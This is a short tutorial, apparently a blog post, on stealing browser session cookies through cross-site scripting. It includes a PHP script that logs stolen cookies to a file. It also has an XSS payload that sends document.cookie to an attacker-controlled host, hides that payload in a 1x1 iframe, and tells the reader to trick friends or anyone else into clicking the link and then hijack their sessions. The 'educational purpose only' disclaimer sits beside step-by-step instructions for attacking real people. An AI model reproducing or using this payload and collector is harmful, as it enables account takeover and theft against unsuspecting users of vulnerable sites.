Cookie Grabbing using XSS

XSS means Cross-site Scripting is a type of computer security vulnerability typically found in Web applications that enables attackers to inject client-side script into Web pages viewed by other users.

There are two types of XSS : Non-Persistent and Persistent.

If u need to know about persistent and non-persistent click here .

Now ..

Search for vulnerability in a site: its on you

This is a simple example here:

<sript>alert(“hi”);</script>

Make sure that you have a site where the cookie needs to be uploded..

(Where a link has to be sent and script executes )

Upload the below php script in your site ex:1.php

<?php

$cookie=$_GET[‘cookie’];     //storing cookies in a variable called $cookie.

$file=fopen(“cookies.txt”,”a”);  //opening a file called cookies.txt with append mode.

fwrite($file,$cookie.”\n\n\n);

fclose($file);

?>

Save it as “ 1.php “

Now the url looks like : www.your_site.com/some_folder/1.php

Find vuln in a site then put it like this below :

http://some_vuln_site.com/somefolder/search.php?query=<script>document.location='http://Your_site.com/somefolder/1.php?cookie='.concat(escape(document.cookie));</script>

 now send this link but,mostly people wont click it because they find this url very suspicious.

So u need to mask it

Ex:

<iframe

src="http://some_vuln_site.com/somefolder/search.php?query=<script>document.location='http://Your_site.com/somefolder/1.php?cookie='.concat(escape(document.cookie));</script>" width="1" heigth="1"></iframe>

**

Now put this script in file called iclick.php .

Now your url looks like www.your_site.com/folder/iclick.php

Send this link to your friend or anyone else ask….(social engineer) to click on this link..

Tats it the cookies will be stored in cookies.txt file.

(download cookie editor addon and go on wat u want to do).

-------------------------------------------------

Warning: *** Im not reponsible for your actions. This is just for educational purpose only.

Posted in: